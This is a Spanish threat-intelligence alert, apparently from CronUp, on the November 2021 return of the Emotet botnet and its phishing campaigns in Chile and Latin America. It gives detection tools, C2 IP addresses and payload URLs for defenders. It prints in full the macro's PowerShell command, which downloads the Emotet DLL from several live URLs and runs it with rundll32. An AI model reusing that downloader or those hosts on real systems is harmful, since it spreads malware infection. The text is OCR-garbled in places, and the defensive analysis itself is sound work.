La Botnet de EMOTET reinicia ataques en Chile y LATAM
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IS BACK!
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Resumen Ejecutivo

En enero de 2021 la botnet de Emotet, una de las ciberamenazas mas importantes del
mundo, fue desmantelada en un esfuerzo en conjunto de multiples paises y fuerzas
policiales, sin embargo, 10 meses despues y luego de que las autoridades realizaran una
desinstalacion masiva del malware a nivel mundial, Emotet vuelve a mostrar signos de vida
y la reconstruccion progresiva de su botnet a través de uno de sus mas fieles colaboradores
como es Trickbot.

Segun la gente de Advanced Intelligence el regreso de Emotet ha sido tramado por un ex
miembro de Ryuk, ahora parte de la pandilla de Conti, con la finalidad de dar soporte a los
proximos ataques de Ransomware.

Junto a lo anterior, hemos podido evidenciar que Emotet ya se encuentra enviando
campanas masivas de phishing a paises en Latinoamérica como Peru, México, Paraguay,
Uruguay, Colombia, Panama, Ecuador, Argentina, El Salvador y porsupuesto Chile, entre
otros.

Esto también lo hemos podido confirmar con terceros como en este Tweet de TG Soft
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https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/
https://www.advintel.io/
https://www.tgsoft.it/

2021-11-18 #Emotet Epoch5 is spamming these countries: = Greek, s Chile, EN
Portugal, Il Mexico, msPoland, ke Czech Rep., == Argentina, = Uruguay, ks
Slovakia, ms Colombia, sis Ecuador and others.

Botnet re-building in progress....

— TG Soft (@VirlTeXplorer) November 18, 2021

Y en este analisis de Brad Duncan

2021-11-18 (Thursday) — #Emotet epoch 4 activity (emails/malware/#pcap) —
https://t.co/v1k8x4MFIT — Most emails sent to Spanish-speaking recipients in central
and south America, but saw one to a .gr recipient. This is the first pcap I've posted with
new Emotet's HTTPS C2 traffic. pic.twitter.com/Cy8x06y200

— Brad (@malware_traffic) November 19, 2021

Actualmente Emotet cuenta con dos infraestructuras independientes que son parte de la
misma botnet, a estas infraestructuras se les llama Epoch, y su caracteristica principal es
que permiten a la botnet desplegarse de forma modular y mantener el control en el caso de
que alguna de estas caiga.

Epoch 4 y Epoch 5 son las que se encuentran activas y ambas han comenzado a enviar
campafas masivas de phishing a Latinoameérica y multiples paises alrededor del mundo.

Al momento de escribir esta alerta, CronUp ha confirmado tres incidentes en Chile por
infeccién con este Malware.

Es importante recordar que un compromiso por Emotet en la red corporativa puede
derivar a un ataque de Ransomware.

Distribucion del Malware

Emotet se distribuye a través de correos electrénicos, utilizando para ello miles de cuentas
SMTP comprometidas y suplantando a contactos conocidos o de confianza. En campanas
anteriores también hemos visto el secuestro o robo de cadenas de correos, algo que
seguramente veremos también muy pronto.

En la actualidad, el correo malicioso trae un archivo adjunto protegido con contrasefia, lo
que dificulta el analisis automatizado de algunas herramientas de seguridad y que en
conjunto a los servidores SMTP que utilizan (organizaciones validas) permite a los atacantes
tener una mayor tasa de éxito.

A continuacion, un ejemplo del correo Phishing.
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https://twitter.com/hashtag/Emotet?src=hash&ref_src=twsrc%5Etfw
https://twitter.com/VirITeXplorer/status/1461405137243619332?ref_src=twsrc%5Etfw
https://twitter.com/malware_traffic
https://twitter.com/hashtag/Emotet?src=hash&ref_src=twsrc%5Etfw
https://twitter.com/hashtag/pcap?src=hash&ref_src=twsrc%5Etfw
https://t.co/v1k8x4MFlT
https://t.co/Cy8x06y20o
https://twitter.com/malware_traffic/status/1461528576310796299?ref_src=twsrc%5Etfw

L 79268.zip
L)
1 Archivo .zip

ZIP: 79268.zip

contrasefia de archivo: 190

SRS

El archivo .ZIP trae un documento Microsoft Office en su interior, el que puede tener
extension .DOC, .DOCM o .XLSM entre otras. También se han visto casos donde el adjunto

es directamente el documento de MS Office y en un pasado también lo hicieron con un link
en el cuerpo del correo para la descarga del documento.

™

79268.zip - archivo ZIP, tamafio descomprimido 145.157 bytes

o

Nombre

Tamano Comprimido Tipo

= Carpeta de archivos
79268.doc * 145,157 134.217 Documento de Microsoft Word 97-2003

Maodificado

17-11-2021 1:16

Al abrir el documento y habilitar la edicion, se activa la macro y el proceso de infeccion del

equipo. La imagen a continuacion es una de las plantillas utilizadas actualmente pero
pueden ser otras también.

. O Find ~ O
= AaBbCeDe | AaBbCeDe AaBbC o &
e eplace
Paste : | @ BHle= == = i1  Norm a - = E Dictate | Editor
e o B I U~a x x|A s ﬁ‘. |= = == |r=s (i He v Mormal No Spac... Heading1 |z {} Chlact
Clipboard = Font (] Paragraph =] Styles =] Editing Voice Editor

BE Microsoft

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document

3/8



La macro del documento ejecuta Powershell para realizar la descarga del payload final (DLL
de Emotet) desde 1 de los 7 sitios distintos que vienen configurados en el documento
Microsoft Office.

Unusual Activities

Um_JsuaI execution from Microsoft Office

Image: C:A\Windows\System32\cmd.exe

Cmdline 0 "C:\Windows\System32\cmd.exe" /c start /B powershell
Sdfkj="Sstrs=\"http://thepilatesstudionj.com/wp-content
/oAx5UoQmIX3cbw/ http://alfaofarms.com/xcyav
/F9le301G89W0s2g4jLO5/ https://staviancjs.com/wp-forum/Q0Om4n2
/.https:/fyougandan.com/backup_YouGandan-Sth-
nov/3n6PrculaPCNcRU7uj7D/ http://alfadandoinc.com/67oyp
/C2J2KyCpQnkK4Um/ http://www.caboturnup.com/wp-content/plugins
/classic-editor/js/PZglIRH6QtkaCKiSB50rzr/ hitp://itomsystem.in/i9eg3y
/nNxmmn%aTev/\".Split(\",\");foreach($st in Sstrs){Sr1=Get-
Random;$r2=Get-Random;5tpth=\"C:\ProgramData\\\"+5r1+\".dll\";Invoke-
WebRequest -Uri Sst -OutFile Stpth;if(Test-Path Stpth){Sfp=\"C:\Windows
\SysWow64\rundlI32.exe\";Sa=Stpth+\",f\"+5r2;Start-Process 5fp
-ArgumentList Sabreak;}};";IEX Sdfkj

Al visitar una de estas URLs se puede apreciar la descarga de la DLL de Emotet.

O & thepilatesstudionj.com/wp-content/oAx5UocQmiX3cbw/

Abriendo 5fN3LgRRI1423e.dll >

Ha elegido abrir:

"] SfN3LgRRI1423e.dll

que es: dll File
de: https://www.alfaofarms.com

iQué deberia hacer Firefox con este archivo?

() Abrir con | Examinar...

@ Guardar archivo

Aceptar Cancelar
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En este punto, luego de registrar la DLL, Emotet ha logrado infectar y compromer
efectivamente el equipo y agregarlo a la red de computadores zombie que forman parte de
la Botnet.

Herramientas y recursos

1.- EmoCheck, es una herramienta para la deteccion de Emotet en sistemas operativos
Windows que ha sido desarrollada por el CERT de Japodn:
https://github.com/JPCERTCC/EmoCheck

VAppDatatLocalikhmerbid. exe

1LE .

2.- HavelBeenEMOTET, es un portal desarrollado por TG SOFT para detectar si un correo o
dominio esta en la base de datos de SPAM de Emotet: https://www.haveibeenemotet.com/
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https://github.com/JPCERTCC/EmoCheck
https://www.haveibeenemotet.com/

Search your email address on Emotet malspam database

google.com CHECK

Domain FOUND!!!
15 times as REAL SENDER, 1071 times as FAKE SENDER and 83 times as RECIPIENT.
If you want more informations about the addresses of the domain you have searched you can register to the API service at this PAGE.

* Si, incluso Google ha sido victima de Emotet.

3.- CyberChef, es una aplicacion web para la encriptacién, codificacién, compresion y
analisis de datos. Gracias a la informacion compartida por la gente de Cryptolaemus1 y
Kostastsale hemos podido ajustar una nueva receta o «Recipe» que extrae las URLs de los
documentos maliciosos (funcionando al 19-11-2021).

Utilizar desde tinyurl.com/EmotetURLSs (solo debes dejar caer el documento en «Input»)

s a . | | Input length: 145,157 -+ D :—ol [ ] =
P P!
Unzip

Fassworc

Name: 79268.doc

e
[ Verify result Size: 145.157 bytes

Type: application/msword

Register Loaded: 100%

(WA \+. *2([a-21{3}))

Case Multiline Dot matches
[ D o U
insensitive matching all
$RO = “sDal Output o
$R1 = Dal - s
hxxp[ ://]thepilatesstudionj[. ]com/wp-content/oAxSUoQmIX3cbu/
hxxp[ ://]alfaofarms[ . ]com/xcyav/Fole3@1GE9Was2g4jL05/
el / Rl hxxps[://]staviancis[ . ]com/wp-Fforum/QOman2/

hxxps[:// ]yougandan[ . Jcom/backup_YouGandan-9th-nov/3n6PrculaPCNCRUTUI7D/

Find hxxp[ ://]alfadandoinc| . Jcom/67oyp/C212KyCpQnkKaum/

$R1 REGEX ~ hacxp[ :// Jwww| . Jcaboturnup[ . Jcom/wp-content/plugins/classic-editor/js/PZgl1RHEQtkaCKtSBS@rzr/
hxxp[ ://]itomsystem[ . ]in/i9eg3y/nNxmmnoaTcv/

Replace

Case Multiline
Global match 1 i

Indicadores de Compromiso

La mejor forma de protegerse frente a esta ciberamenaza es:

1.-Siguiendo al equipo de Cryptolaemus1 quienes estudian y exponen las nuevas técnicas,
tacticas y procedimientos de estos atacantes.
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https://twitter.com/Cryptolaemus1/status/1319357369902649344
https://twitter.com/Kostastsale/status/1461250706606739463
http://tinyurl.com/EmotetURLs
https://twitter.com/Cryptolaemus1

2.-Actualizando regularmente las listas de bloqueo (C2) que disponibiliza Abuse.ch desde
https://feodotracker.abuse.ch/browse/emotet/

El listado actual de servidores de comando y control activos es:

122.129.203.163
31.220.49.39
191.252.196.221
202.29.239.161
185.184.25.237
103.161.172.108
93.188.167.97
163.172.50.82
45.79.33.48
210.57.217.132
177.72.80.14
51.178.61.60
142.4.219.173
168.197.250.14

Referencias

 https://www.cronup.com/emotet-esta-de-regreso-gracias-a-la-ayuda-de-trickbot/
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ransomware

e https://isc.sans.edu/diary/28044

o https://www.malware-traffic-analysis.net/2021/11/18/index.html

o https://therecord.media/emotet-botnet-returns-after-law-enforcement-mass-uninstall-
operation/

* https://security-soup.net/quick-post-emotet-the-mummy-returns-again/

 https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-
rebuilding-its-botnet-via-trickbot/

Iremos actualizando este reporte a medida que se identifiquen cambios significativos en esta
amenaza. Recuerden bloquear regularmente los nuevos C2 para mantenerse
protegidos.

Threat Intelligence Team
CronUp Ciberseguridad
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https://twitter.com/abuse_ch
https://feodotracker.abuse.ch/browse/emotet/
https://www.cronup.com/emotet-esta-de-regreso-gracias-a-la-ayuda-de-trickbot/
https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware
https://isc.sans.edu/diary/28044
https://www.malware-traffic-analysis.net/2021/11/18/index.html
https://therecord.media/emotet-botnet-returns-after-law-enforcement-mass-uninstall-operation/
https://security-soup.net/quick-post-emotet-the-mummy-returns-again/
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https://www.cronup.com/author/1zrr4h/

